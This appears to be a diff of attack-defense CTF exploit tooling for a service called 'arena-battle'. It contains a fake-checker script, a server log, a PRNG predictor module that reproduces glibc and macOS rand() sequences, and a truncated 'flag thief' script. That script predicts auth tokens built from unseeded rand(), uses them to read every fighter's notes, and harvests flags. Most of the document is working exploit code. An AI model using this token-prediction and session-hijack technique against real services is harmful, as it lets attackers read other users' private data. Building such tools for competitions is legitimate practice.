sploit for arena-battle
@@ -0,0 +1,48 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Simulates the game checker: registers 'CheckerX' and stores fake flags
|
||||||
|
in a NOTE_CREATE title/content, like the real scoring bot would."""
|
||||||
|
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
|
||||||
|
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 31337
|
||||||
|
|
||||||
|
FLAG_RE = re.compile(rb"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
|
||||||
|
def make_flag(seedtext):
|
||||||
|
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||||
|
h = 0
|
||||||
|
for ch in seedtext:
|
||||||
|
h = (h * 131 + ord(ch)) & 0xFFFFFFFF
|
||||||
|
s = ""
|
||||||
|
for i in range(31):
|
||||||
|
h = (h * 1103515245 + 12345) & 0x7FFFFFFF
|
||||||
|
s += alphabet[h % len(alphabet)]
|
||||||
|
return s + "="
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
flag = make_flag("arena-%d" % time.time())
|
||||||
|
s = socket.create_connection((HOST, PORT), timeout=5)
|
||||||
|
|
||||||
|
def cmd(line):
|
||||||
|
s.sendall(line.encode() + b"\n")
|
||||||
|
buf = b""
|
||||||
|
while b"\n" not in buf:
|
||||||
|
buf += s.recv(4096)
|
||||||
|
return buf.strip()
|
||||||
|
|
||||||
|
r = cmd("REGISTER CheckerX warrior")
|
||||||
|
print("REGISTER ->", r.decode(), flush=True)
|
||||||
|
r = cmd("NOTE_CREATE %s %s" % (flag, flag))
|
||||||
|
print("NOTE_CREATE ->", r.decode(), flush=True)
|
||||||
|
print("PLANTED_FAKE_FLAG " + flag, flush=True)
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,217 @@
|
|||||||
|
[2026-08-26 11:17:37.844] Server started on port 31337
|
||||||
|
[2026-08-26 11:19:29.536] Server started on port 31399
|
||||||
|
[2026-08-26 11:19:29.537] Listening on port 31399
|
||||||
|
[2026-08-26 11:19:30.736] Connect 127.0.0.1:62149
|
||||||
|
[2026-08-26 11:19:30.736] 127.0.0.1:62149 REGISTER CheckerX warrior
|
||||||
|
[2026-08-26 11:19:30.736] 127.0.0.1:62149 NOTE_CREATE 412BO1EF8LQ7OLQVWHMN85Q7K12BGPE= 412BO1EF8LQ7OLQVWHMN85Q7K12BGPE=
|
||||||
|
[2026-08-26 11:19:43.907] Connect 127.0.0.1:62363
|
||||||
|
[2026-08-26 11:19:43.908] 127.0.0.1:62363 REGISTER Cal32383 mage
|
||||||
|
[2026-08-26 11:19:43.908] 127.0.0.1:62363 REGISTER Cal32390 mage
|
||||||
|
[2026-08-26 11:19:48.914] Connect 127.0.0.1:62379
|
||||||
|
[2026-08-26 11:19:48.914] 127.0.0.1:62379 REGISTER Cal32388 mage
|
||||||
|
[2026-08-26 11:19:48.914] 127.0.0.1:62379 REGISTER Cal32395 mage
|
||||||
|
[2026-08-26 11:19:53.917] Connect 127.0.0.1:62404
|
||||||
|
[2026-08-26 11:19:53.917] 127.0.0.1:62404 REGISTER Cal32393 mage
|
||||||
|
[2026-08-26 11:19:53.917] 127.0.0.1:62404 REGISTER Cal32400 mage
|
||||||
|
[2026-08-26 11:19:58.923] Connect 127.0.0.1:62430
|
||||||
|
[2026-08-26 11:19:58.923] 127.0.0.1:62430 REGISTER Cal32398 mage
|
||||||
|
[2026-08-26 11:19:58.924] 127.0.0.1:62430 REGISTER Cal32405 mage
|
||||||
|
[2026-08-26 11:20:03.929] Connect 127.0.0.1:62527
|
||||||
|
[2026-08-26 11:20:03.930] 127.0.0.1:62527 REGISTER Cal32403 mage
|
||||||
|
[2026-08-26 11:20:03.930] 127.0.0.1:62527 REGISTER Cal32410 mage
|
||||||
|
[2026-08-26 11:20:08.933] Connect 127.0.0.1:62606
|
||||||
|
[2026-08-26 11:20:08.933] 127.0.0.1:62606 REGISTER Cal32408 mage
|
||||||
|
[2026-08-26 11:20:08.933] 127.0.0.1:62606 REGISTER Cal32415 mage
|
||||||
|
[2026-08-26 11:20:13.938] Connect 127.0.0.1:62703
|
||||||
|
[2026-08-26 11:20:13.939] 127.0.0.1:62703 REGISTER Cal32413 mage
|
||||||
|
[2026-08-26 11:20:13.939] 127.0.0.1:62703 REGISTER Cal32420 mage
|
||||||
|
[2026-08-26 11:20:18.942] Connect 127.0.0.1:62784
|
||||||
|
[2026-08-26 11:20:18.942] 127.0.0.1:62784 REGISTER Cal32418 mage
|
||||||
|
[2026-08-26 11:20:18.942] 127.0.0.1:62784 REGISTER Cal32425 mage
|
||||||
|
[2026-08-26 11:20:23.946] Connect 127.0.0.1:62796
|
||||||
|
[2026-08-26 11:20:23.946] 127.0.0.1:62796 REGISTER Cal32423 mage
|
||||||
|
[2026-08-26 11:20:23.946] 127.0.0.1:62796 REGISTER Cal32430 mage
|
||||||
|
[2026-08-26 11:22:28.972] Connect 127.0.0.1:64339
|
||||||
|
[2026-08-26 11:22:28.972] 127.0.0.1:64339 REGISTER Cal32548 mage
|
||||||
|
[2026-08-26 11:22:28.972] 127.0.0.1:64339 REGISTER Cal32555 mage
|
||||||
|
[2026-08-26 11:22:29.277] Connect 127.0.0.1:64343
|
||||||
|
[2026-08-26 11:22:29.277] 127.0.0.1:64343 REGISTER Cal32549 mage
|
||||||
|
[2026-08-26 11:22:29.277] 127.0.0.1:64343 REGISTER Cal32556 mage
|
||||||
|
[2026-08-26 11:22:29.577] Connect 127.0.0.1:64348
|
||||||
|
[2026-08-26 11:22:29.577] 127.0.0.1:64348 REGISTER Cal32549 mage
|
||||||
|
[2026-08-26 11:22:29.577] 127.0.0.1:64348 REGISTER Cal32556 mage
|
||||||
|
[2026-08-26 11:22:29.879] Connect 127.0.0.1:64353
|
||||||
|
[2026-08-26 11:22:29.879] 127.0.0.1:64353 REGISTER Cal32549 mage
|
||||||
|
[2026-08-26 11:22:29.879] 127.0.0.1:64353 REGISTER Cal32556 mage
|
||||||
|
[2026-08-26 11:22:30.181] Connect 127.0.0.1:64358
|
||||||
|
[2026-08-26 11:22:30.181] 127.0.0.1:64358 REGISTER Cal32550 mage
|
||||||
|
[2026-08-26 11:22:30.181] 127.0.0.1:64358 REGISTER Cal32557 mage
|
||||||
|
[2026-08-26 11:22:30.482] Connect 127.0.0.1:64359
|
||||||
|
[2026-08-26 11:22:30.482] 127.0.0.1:64359 REGISTER Cal32550 mage
|
||||||
|
[2026-08-26 11:22:30.483] 127.0.0.1:64359 REGISTER Cal32557 mage
|
||||||
|
[2026-08-26 11:22:30.788] Connect 127.0.0.1:64364
|
||||||
|
[2026-08-26 11:22:30.788] 127.0.0.1:64364 REGISTER Cal32550 mage
|
||||||
|
[2026-08-26 11:22:30.788] 127.0.0.1:64364 REGISTER Cal32557 mage
|
||||||
|
[2026-08-26 11:22:31.091] Connect 127.0.0.1:64369
|
||||||
|
[2026-08-26 11:22:31.091] 127.0.0.1:64369 REGISTER Cal32551 mage
|
||||||
|
[2026-08-26 11:22:31.091] 127.0.0.1:64369 REGISTER Cal32558 mage
|
||||||
|
[2026-08-26 11:22:31.396] Connect 127.0.0.1:64441
|
||||||
|
[2026-08-26 11:22:31.396] 127.0.0.1:64441 REGISTER Cal32551 mage
|
||||||
|
[2026-08-26 11:22:31.396] 127.0.0.1:64441 REGISTER Cal32558 mage
|
||||||
|
[2026-08-26 11:22:31.700] Connect 127.0.0.1:64446
|
||||||
|
[2026-08-26 11:22:31.701] 127.0.0.1:64446 REGISTER Cal32551 mage
|
||||||
|
[2026-08-26 11:22:31.701] 127.0.0.1:64446 REGISTER Cal32558 mage
|
||||||
|
[2026-08-26 11:22:32.002] Connect 127.0.0.1:64451
|
||||||
|
[2026-08-26 11:22:32.002] 127.0.0.1:64451 REGISTER Cal32552 mage
|
||||||
|
[2026-08-26 11:22:32.002] 127.0.0.1:64451 REGISTER Cal32559 mage
|
||||||
|
[2026-08-26 11:22:32.305] Connect 127.0.0.1:64452
|
||||||
|
[2026-08-26 11:22:32.305] 127.0.0.1:64452 REGISTER Cal32552 mage
|
||||||
|
[2026-08-26 11:22:32.305] 127.0.0.1:64452 REGISTER Cal32559 mage
|
||||||
|
[2026-08-26 11:22:37.608] Connect 127.0.0.1:64535
|
||||||
|
[2026-08-26 11:22:37.608] 127.0.0.1:64535 REGISTER Cal32557 mage
|
||||||
|
[2026-08-26 11:22:37.608] 127.0.0.1:64535 REGISTER Cal32564 mage
|
||||||
|
[2026-08-26 11:22:37.909] Connect 127.0.0.1:64540
|
||||||
|
[2026-08-26 11:22:37.909] 127.0.0.1:64540 REGISTER Cal32557 mage
|
||||||
|
[2026-08-26 11:22:37.909] 127.0.0.1:64540 REGISTER Cal32564 mage
|
||||||
|
[2026-08-26 11:22:38.211] Connect 127.0.0.1:64542
|
||||||
|
[2026-08-26 11:22:38.211] 127.0.0.1:64542 REGISTER Cal32558 mage
|
||||||
|
[2026-08-26 11:22:38.211] 127.0.0.1:64542 REGISTER Cal32565 mage
|
||||||
|
[2026-08-26 11:22:38.516] Connect 127.0.0.1:64544
|
||||||
|
[2026-08-26 11:22:38.516] 127.0.0.1:64544 REGISTER Cal32558 mage
|
||||||
|
[2026-08-26 11:22:38.516] 127.0.0.1:64544 REGISTER Cal32565 mage
|
||||||
|
[2026-08-26 11:22:38.821] Connect 127.0.0.1:64546
|
||||||
|
[2026-08-26 11:22:38.821] 127.0.0.1:64546 REGISTER Cal32558 mage
|
||||||
|
[2026-08-26 11:22:38.821] 127.0.0.1:64546 REGISTER Cal32565 mage
|
||||||
|
[2026-08-26 11:22:39.126] Connect 127.0.0.1:64548
|
||||||
|
[2026-08-26 11:22:39.127] 127.0.0.1:64548 REGISTER Cal32559 mage
|
||||||
|
[2026-08-26 11:22:39.127] 127.0.0.1:64548 REGISTER Cal32566 mage
|
||||||
|
[2026-08-26 11:22:39.428] Connect 127.0.0.1:64551
|
||||||
|
[2026-08-26 11:22:39.428] 127.0.0.1:64551 REGISTER Cal32559 mage
|
||||||
|
[2026-08-26 11:22:39.428] 127.0.0.1:64551 REGISTER Cal32566 mage
|
||||||
|
[2026-08-26 11:22:39.733] Connect 127.0.0.1:64552
|
||||||
|
[2026-08-26 11:22:39.733] 127.0.0.1:64552 REGISTER Cal32559 mage
|
||||||
|
[2026-08-26 11:22:39.734] 127.0.0.1:64552 REGISTER Cal32566 mage
|
||||||
|
[2026-08-26 11:22:40.034] Connect 127.0.0.1:64553
|
||||||
|
[2026-08-26 11:22:40.034] 127.0.0.1:64553 REGISTER Cal32560 mage
|
||||||
|
[2026-08-26 11:22:40.034] 127.0.0.1:64553 REGISTER Cal32567 mage
|
||||||
|
[2026-08-26 11:22:40.339] Connect 127.0.0.1:64557
|
||||||
|
[2026-08-26 11:22:40.339] 127.0.0.1:64557 REGISTER Cal32560 mage
|
||||||
|
[2026-08-26 11:22:40.339] 127.0.0.1:64557 REGISTER Cal32567 mage
|
||||||
|
[2026-08-26 11:22:40.640] Connect 127.0.0.1:64558
|
||||||
|
[2026-08-26 11:22:40.640] 127.0.0.1:64558 REGISTER Cal32560 mage
|
||||||
|
[2026-08-26 11:22:40.640] 127.0.0.1:64558 REGISTER Cal32567 mage
|
||||||
|
[2026-08-26 11:22:40.941] Connect 127.0.0.1:64559
|
||||||
|
[2026-08-26 11:22:40.941] 127.0.0.1:64559 REGISTER Cal32560 mage
|
||||||
|
[2026-08-26 11:22:40.942] 127.0.0.1:64559 REGISTER Cal32567 mage
|
||||||
|
[2026-08-26 11:22:46.253] Connect 127.0.0.1:64575
|
||||||
|
[2026-08-26 11:22:46.254] 127.0.0.1:64575 REGISTER Cal32566 mage
|
||||||
|
[2026-08-26 11:22:46.254] 127.0.0.1:64575 REGISTER Cal32573 mage
|
||||||
|
[2026-08-26 11:22:46.555] Connect 127.0.0.1:64576
|
||||||
|
[2026-08-26 11:22:46.555] 127.0.0.1:64576 REGISTER Cal32566 mage
|
||||||
|
[2026-08-26 11:22:46.556] 127.0.0.1:64576 REGISTER Cal32573 mage
|
||||||
|
[2026-08-26 11:22:46.861] Connect 127.0.0.1:64577
|
||||||
|
[2026-08-26 11:22:46.861] 127.0.0.1:64577 REGISTER Cal32566 mage
|
||||||
|
[2026-08-26 11:22:46.861] 127.0.0.1:64577 REGISTER Cal32573 mage
|
||||||
|
[2026-08-26 11:22:47.162] Connect 127.0.0.1:64578
|
||||||
|
[2026-08-26 11:22:47.162] 127.0.0.1:64578 REGISTER Cal32567 mage
|
||||||
|
[2026-08-26 11:22:47.163] 127.0.0.1:64578 REGISTER Cal32574 mage
|
||||||
|
[2026-08-26 11:22:47.468] Connect 127.0.0.1:64579
|
||||||
|
[2026-08-26 11:22:47.468] 127.0.0.1:64579 REGISTER Cal32567 mage
|
||||||
|
[2026-08-26 11:22:47.468] 127.0.0.1:64579 REGISTER Cal32574 mage
|
||||||
|
[2026-08-26 11:22:47.774] Connect 127.0.0.1:64581
|
||||||
|
[2026-08-26 11:22:47.774] 127.0.0.1:64581 REGISTER Cal32567 mage
|
||||||
|
[2026-08-26 11:22:47.774] 127.0.0.1:64581 REGISTER Cal32574 mage
|
||||||
|
[2026-08-26 11:22:48.079] Connect 127.0.0.1:64583
|
||||||
|
[2026-08-26 11:22:48.079] 127.0.0.1:64583 REGISTER Cal32568 mage
|
||||||
|
[2026-08-26 11:22:48.079] 127.0.0.1:64583 REGISTER Cal32575 mage
|
||||||
|
[2026-08-26 11:22:48.383] Connect 127.0.0.1:64594
|
||||||
|
[2026-08-26 11:22:48.383] 127.0.0.1:64594 REGISTER Cal32568 mage
|
||||||
|
[2026-08-26 11:22:48.383] 127.0.0.1:64594 REGISTER Cal32575 mage
|
||||||
|
[2026-08-26 11:22:48.686] Connect 127.0.0.1:64599
|
||||||
|
[2026-08-26 11:22:48.687] 127.0.0.1:64599 REGISTER Cal32568 mage
|
||||||
|
[2026-08-26 11:22:48.687] 127.0.0.1:64599 REGISTER Cal32575 mage
|
||||||
|
[2026-08-26 11:22:48.992] Connect 127.0.0.1:64600
|
||||||
|
[2026-08-26 11:22:48.992] 127.0.0.1:64600 REGISTER Cal32568 mage
|
||||||
|
[2026-08-26 11:22:48.993] 127.0.0.1:64600 REGISTER Cal32575 mage
|
||||||
|
[2026-08-26 11:22:49.296] Connect 127.0.0.1:64604
|
||||||
|
[2026-08-26 11:22:49.296] 127.0.0.1:64604 REGISTER Cal32569 mage
|
||||||
|
[2026-08-26 11:22:49.296] 127.0.0.1:64604 REGISTER Cal32576 mage
|
||||||
|
[2026-08-26 11:22:49.602] Connect 127.0.0.1:64605
|
||||||
|
[2026-08-26 11:22:49.602] 127.0.0.1:64605 REGISTER Cal32569 mage
|
||||||
|
[2026-08-26 11:22:49.602] 127.0.0.1:64605 REGISTER Cal32576 mage
|
||||||
|
[2026-08-26 11:22:54.912] Connect 127.0.0.1:64693
|
||||||
|
[2026-08-26 11:22:54.912] 127.0.0.1:64693 REGISTER Cal32574 mage
|
||||||
|
[2026-08-26 11:22:54.912] 127.0.0.1:64693 REGISTER Cal32581 mage
|
||||||
|
[2026-08-26 11:22:55.218] Connect 127.0.0.1:64699
|
||||||
|
[2026-08-26 11:22:55.218] 127.0.0.1:64699 REGISTER Cal32575 mage
|
||||||
|
[2026-08-26 11:22:55.218] 127.0.0.1:64699 REGISTER Cal32582 mage
|
||||||
|
[2026-08-26 11:22:55.520] Connect 127.0.0.1:64700
|
||||||
|
[2026-08-26 11:22:55.520] 127.0.0.1:64700 REGISTER Cal32575 mage
|
||||||
|
[2026-08-26 11:22:55.520] 127.0.0.1:64700 REGISTER Cal32582 mage
|
||||||
|
[2026-08-26 11:22:55.825] Connect 127.0.0.1:64701
|
||||||
|
[2026-08-26 11:22:55.825] 127.0.0.1:64701 REGISTER Cal32575 mage
|
||||||
|
[2026-08-26 11:22:55.825] 127.0.0.1:64701 REGISTER Cal32582 mage
|
||||||
|
[2026-08-26 11:22:56.128] Connect 127.0.0.1:64702
|
||||||
|
[2026-08-26 11:22:56.128] 127.0.0.1:64702 REGISTER Cal32576 mage
|
||||||
|
[2026-08-26 11:22:56.128] 127.0.0.1:64702 REGISTER Cal32583 mage
|
||||||
|
[2026-08-26 11:22:56.429] Connect 127.0.0.1:64703
|
||||||
|
[2026-08-26 11:22:56.429] 127.0.0.1:64703 REGISTER Cal32576 mage
|
||||||
|
[2026-08-26 11:22:56.429] 127.0.0.1:64703 REGISTER Cal32583 mage
|
||||||
|
[2026-08-26 11:22:56.731] Connect 127.0.0.1:64704
|
||||||
|
[2026-08-26 11:22:56.731] 127.0.0.1:64704 REGISTER Cal32576 mage
|
||||||
|
[2026-08-26 11:22:56.731] 127.0.0.1:64704 REGISTER Cal32583 mage
|
||||||
|
[2026-08-26 11:22:57.033] Connect 127.0.0.1:64705
|
||||||
|
[2026-08-26 11:22:57.033] 127.0.0.1:64705 REGISTER Cal32577 mage
|
||||||
|
[2026-08-26 11:22:57.033] 127.0.0.1:64705 REGISTER Cal32584 mage
|
||||||
|
[2026-08-26 11:22:57.335] Connect 127.0.0.1:64717
|
||||||
|
[2026-08-26 11:22:57.335] 127.0.0.1:64717 REGISTER Cal32577 mage
|
||||||
|
[2026-08-26 11:22:57.336] 127.0.0.1:64717 REGISTER Cal32584 mage
|
||||||
|
[2026-08-26 11:22:57.638] Connect 127.0.0.1:64718
|
||||||
|
[2026-08-26 11:22:57.638] 127.0.0.1:64718 REGISTER Cal32577 mage
|
||||||
|
[2026-08-26 11:22:57.638] 127.0.0.1:64718 REGISTER Cal32584 mage
|
||||||
|
[2026-08-26 11:22:57.940] Connect 127.0.0.1:64719
|
||||||
|
[2026-08-26 11:22:57.940] 127.0.0.1:64719 REGISTER Cal32577 mage
|
||||||
|
[2026-08-26 11:22:57.941] 127.0.0.1:64719 REGISTER Cal32584 mage
|
||||||
|
[2026-08-26 11:22:58.242] Connect 127.0.0.1:64720
|
||||||
|
[2026-08-26 11:22:58.243] 127.0.0.1:64720 REGISTER Cal32578 mage
|
||||||
|
[2026-08-26 11:22:58.243] 127.0.0.1:64720 REGISTER Cal32585 mage
|
||||||
|
[2026-08-26 11:23:03.546] Connect 127.0.0.1:64795
|
||||||
|
[2026-08-26 11:23:03.547] 127.0.0.1:64795 REGISTER Cal32583 mage
|
||||||
|
[2026-08-26 11:23:03.547] 127.0.0.1:64795 REGISTER Cal32590 mage
|
||||||
|
[2026-08-26 11:23:03.849] Connect 127.0.0.1:64796
|
||||||
|
[2026-08-26 11:23:03.849] 127.0.0.1:64796 REGISTER Cal32583 mage
|
||||||
|
[2026-08-26 11:23:03.849] 127.0.0.1:64796 REGISTER Cal32590 mage
|
||||||
|
[2026-08-26 11:23:04.155] Connect 127.0.0.1:64797
|
||||||
|
[2026-08-26 11:23:04.155] 127.0.0.1:64797 REGISTER Cal32584 mage
|
||||||
|
[2026-08-26 11:23:04.155] 127.0.0.1:64797 REGISTER Cal32591 mage
|
||||||
|
[2026-08-26 11:23:04.456] Connect 127.0.0.1:64798
|
||||||
|
[2026-08-26 11:23:04.456] 127.0.0.1:64798 REGISTER Cal32584 mage
|
||||||
|
[2026-08-26 11:23:04.456] 127.0.0.1:64798 REGISTER Cal32591 mage
|
||||||
|
[2026-08-26 11:23:04.761] Connect 127.0.0.1:64799
|
||||||
|
[2026-08-26 11:23:04.762] 127.0.0.1:64799 REGISTER Cal32584 mage
|
||||||
|
[2026-08-26 11:23:04.762] 127.0.0.1:64799 REGISTER Cal32591 mage
|
||||||
|
[2026-08-26 11:23:05.064] Connect 127.0.0.1:64800
|
||||||
|
[2026-08-26 11:23:05.064] 127.0.0.1:64800 REGISTER Cal32585 mage
|
||||||
|
[2026-08-26 11:23:05.064] 127.0.0.1:64800 REGISTER Cal32592 mage
|
||||||
|
[2026-08-26 11:23:05.367] Connect 127.0.0.1:64804
|
||||||
|
[2026-08-26 11:23:05.367] 127.0.0.1:64804 REGISTER Cal32585 mage
|
||||||
|
[2026-08-26 11:23:05.367] 127.0.0.1:64804 REGISTER Cal32592 mage
|
||||||
|
[2026-08-26 11:23:05.668] Connect 127.0.0.1:64805
|
||||||
|
[2026-08-26 11:23:05.668] 127.0.0.1:64805 REGISTER Cal32585 mage
|
||||||
|
[2026-08-26 11:23:05.668] 127.0.0.1:64805 REGISTER Cal32592 mage
|
||||||
|
[2026-08-26 11:23:05.970] Connect 127.0.0.1:64809
|
||||||
|
[2026-08-26 11:23:05.970] 127.0.0.1:64809 REGISTER Cal32585 mage
|
||||||
|
[2026-08-26 11:23:05.970] 127.0.0.1:64809 REGISTER Cal32592 mage
|
||||||
|
[2026-08-26 11:23:06.273] Connect 127.0.0.1:64882
|
||||||
|
[2026-08-26 11:23:06.273] 127.0.0.1:64882 REGISTER Cal32586 mage
|
||||||
|
[2026-08-26 11:23:06.273] 127.0.0.1:64882 REGISTER Cal32593 mage
|
||||||
|
[2026-08-26 11:23:06.577] Connect 127.0.0.1:64889
|
||||||
|
[2026-08-26 11:23:06.577] 127.0.0.1:64889 REGISTER Cal32586 mage
|
||||||
|
[2026-08-26 11:23:06.577] 127.0.0.1:64889 REGISTER Cal32593 mage
|
||||||
|
[2026-08-26 11:23:06.882] Connect 127.0.0.1:64894
|
||||||
|
[2026-08-26 11:23:06.882] 127.0.0.1:64894 REGISTER Cal32586 mage
|
||||||
|
[2026-08-26 11:23:06.882] 127.0.0.1:64894 REGISTER Cal32593 mage
|
||||||
|
[2026-08-26 11:23:39.000] Connect 127.0.0.1:65184
|
||||||
|
[2026-08-26 11:23:39.000] 127.0.0.1:65184 REGISTER Zed mage
|
||||||
|
[2026-08-26 11:23:39.500] Connect 127.0.0.1:65186
|
||||||
|
[2026-08-26 11:23:39.501] 127.0.0.1:65186 REGISTER Yed mage
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
"""Pluggable PRNG predictors for arena-battle token forensics.
|
||||||
|
|
||||||
|
The server computes: auth_token = "token_" + id + "_" + std::to_string(rand())
|
||||||
|
with NO srand() call => default-seeded PRNG, one draw per fighter, in id order.
|
||||||
|
|
||||||
|
Two predictors:
|
||||||
|
GlibcRandom - glibc TYPE_3 additive-feedback random() (Ubuntu 22.04 target)
|
||||||
|
DarwinRandom - macOS/BSD rand() (Schrage multiplicative LCG) for local tests
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
|
||||||
|
MASK32 = 0xFFFFFFFF
|
||||||
|
|
||||||
|
|
||||||
|
class GlibcRandom:
|
||||||
|
"""glibc random()/rand() TYPE_3: r[i] = (r[i-3] + r[i-31]) mod 2^32, out = r[i]>>1."""
|
||||||
|
|
||||||
|
name = "glibc"
|
||||||
|
|
||||||
|
def __init__(self, seed=1, n=200000):
|
||||||
|
r = [0] * (344 + n)
|
||||||
|
r[0] = seed & MASK32
|
||||||
|
for i in range(1, 31):
|
||||||
|
# r[i] = 16807 * r[i-1] mod 2147483647 (Schrage), result in [0, 2^31-2]
|
||||||
|
hi, lo = divmod(r[i - 1], 127773)
|
||||||
|
word = 16807 * lo - 2836 * hi
|
||||||
|
if word < 0:
|
||||||
|
word += 2147483647
|
||||||
|
r[i] = word
|
||||||
|
for i in range(31, 34):
|
||||||
|
r[i] = r[i - 31]
|
||||||
|
for i in range(34, 344 + n):
|
||||||
|
r[i] = (r[i - 3] + r[i - 31]) & MASK32
|
||||||
|
self.values = [x >> 1 for x in r[344:]]
|
||||||
|
|
||||||
|
def index_of(self, value):
|
||||||
|
return [i for i, v in enumerate(self.values) if v == value]
|
||||||
|
|
||||||
|
|
||||||
|
class DarwinRandom:
|
||||||
|
"""macOS rand(): Lehmer LCG next = 16807*next mod (2^31-1), out = next (seed 1)."""
|
||||||
|
|
||||||
|
name = "darwin"
|
||||||
|
|
||||||
|
def __init__(self, seed=1, n=200000):
|
||||||
|
ctx = seed
|
||||||
|
vals = []
|
||||||
|
for _ in range(n):
|
||||||
|
ctx = (16807 * ctx) % 2147483647
|
||||||
|
vals.append(ctx)
|
||||||
|
self.values = vals
|
||||||
|
|
||||||
|
def index_of(self, value):
|
||||||
|
return [i for i, v in enumerate(self.values) if v == value]
|
||||||
|
|
||||||
|
|
||||||
|
def get_predictor(name, n=200000):
|
||||||
|
cls = {"glibc": GlibcRandom, "darwin": DarwinRandom}[name]
|
||||||
|
return cls(1, n)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
g = get_predictor("glibc", 10)
|
||||||
|
d = get_predictor("darwin", 10)
|
||||||
|
print("glibc :", g.values[:5])
|
||||||
|
print("darwin:", d.values[:5])
|
||||||
|
assert g.values[:5] == [1804289383, 846930886, 1681692777, 1714636915, 1957747793], "glibc seq wrong"
|
||||||
|
assert d.values[:5] == [16807, 282475249, 1622650073, 984943658, 1144108930], "darwin seq wrong"
|
||||||
|
print("PREDICTORS OK", flush=True)
|
||||||
@@ -0,0 +1,200 @@
|
|||||||
|
#!/bin/python3
|
||||||
|
"""arena-battle flag thief (Brunnerne).
|
||||||
|
|
||||||
|
Vuln: auth_token = "token_<id>_<rand()>" with NO srand() => deterministic,
|
||||||
|
default-seeded PRNG; one draw per created fighter, in fighter-id order.
|
||||||
|
NOTE_GET <auth_token> [note_id] accepts a raw token with no session binding,
|
||||||
|
so predicted tokens dump any fighter's notes (checker stores flags there).
|
||||||
|
|
||||||
|
Usage: sploit.py <target_ip> [port] (port default 1337)
|
||||||
|
Env: ARENA_PREDICTOR=glibc|darwin ARENA_MAXID=600 ARENA_WINDOW=0
|
||||||
|
ARENA_ROUND_DELAY=20 ARENA_PRECOMP=200000
|
||||||
|
|
||||||
|
Strategy per round:
|
||||||
|
1. calibrate: register two throwaway fighters back-to-back, parse their
|
||||||
|
TOKENs, locate the consecutive value pair in the precomputed PRNG stream
|
||||||
|
=> exact index of fighter-id N's draw is anchor_idx + (N - anchor_fid).
|
||||||
|
2. sweep ids 1..maxid: NOTE_GET token_<id>_<predicted>; on a live fighter
|
||||||
|
the listing returns note titles; fetch each note id for full content.
|
||||||
|
3. print anything matching [A-Z0-9]{31}= (deduped), rescan forever.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
from predictors import get_predictor # noqa: E402
|
||||||
|
|
||||||
|
FLAG_RE = re.compile(rb"[A-Z0-9]{31}=")
|
||||||
|
TOKEN_RE = re.compile(rb"TOKEN:token_(\d+)_(\d+)")
|
||||||
|
NOTEID_RE = re.compile(rb"(?:^|\s)(\d+):")
|
||||||
|
|
||||||
|
PORT = 1337
|
||||||
|
TIMEOUT = float(os.environ.get("ARENA_TIMEOUT", "4"))
|
||||||
|
MAX_ID = int(os.environ.get("ARENA_MAXID", "600"))
|
||||||
|
WINDOW = int(os.environ.get("ARENA_WINDOW", "0"))
|
||||||
|
ROUND_DELAY = float(os.environ.get("ARENA_ROUND_DELAY", "20"))
|
||||||
|
PRECOMP = int(os.environ.get("ARENA_PRECOMP", "200000"))
|
||||||
|
|
||||||
|
seen_flags = set()
|
||||||
|
|
||||||
|
|
||||||
|
def out(msg):
|
||||||
|
print(msg, flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
def emit(data):
|
||||||
|
for m in FLAG_RE.findall(data):
|
||||||
|
f = m.decode("ascii", "replace")
|
||||||
|
if f not in seen_flags:
|
||||||
|
seen_flags.add(f)
|
||||||
|
out("[FLAG] " + f)
|
||||||
|
|
||||||
|
|
||||||
|
class Conn:
|
||||||
|
def __init__(self, host, port):
|
||||||
|
self.sock = socket.create_connection((host, port), timeout=TIMEOUT)
|
||||||
|
self.buf = b""
|
||||||
|
|
||||||
|
def cmd(self, line):
|
||||||
|
self.sock.sendall(line.encode() + b"\n")
|
||||||
|
deadline = time.time() + TIMEOUT
|
||||||
|
while b"\n" not in self.buf:
|
||||||
|
self.sock.settimeout(max(0.05, deadline - time.time()))
|
||||||
|
chunk = self.sock.recv(4096)
|
||||||
|
if not chunk:
|
||||||
|
raise ConnectionError("eof")
|
||||||
|
self.buf += chunk
|
||||||
|
line_out, self.buf = self.buf.split(b"\n", 1)
|
||||||
|
return line_out.strip()
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
try:
|
||||||
|
self.sock.close()
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def register(conn, name):
|
||||||
|
r = conn.cmd("REGISTER %s mage" % name)
|
||||||
|
m = TOKEN_RE.search(r)
|
||||||
|
if not m:
|
||||||
|
raise RuntimeError("no token in reply: %r" % r[:120])
|
||||||
|
return int(m.group(1)), int(m.group(2)) # fighter_id, rand_value
|
||||||
|
|
||||||
|
|
||||||
|
def calibrate(host, port, predictor):
|
||||||
|
"""Register ONE throwaway fighter, locate its rand() draw in the PRNG
|
||||||
|
stream. Returns (conn, [candidate_indices], anchor_fid).
|
||||||
|
|
||||||
|
Only one REGISTER per connection (server rejects a second on the same
|
||||||
|
fd). All candidate indices are returned (duplicate values are rare);
|
||||||
|
wrong candidates simply predict tokens that match nothing."""
|
||||||
|
last = None
|
||||||
|
for _ in range(6):
|
||||||
|
c = None
|
||||||
|
try:
|
||||||
|
c = Conn(host, port)
|
||||||
|
fid1, v1 = register(c, "Cal%d" % (time.time() % 100000))
|
||||||
|
cands = [i for i in predictor.index_of(v1)
|
||||||
|
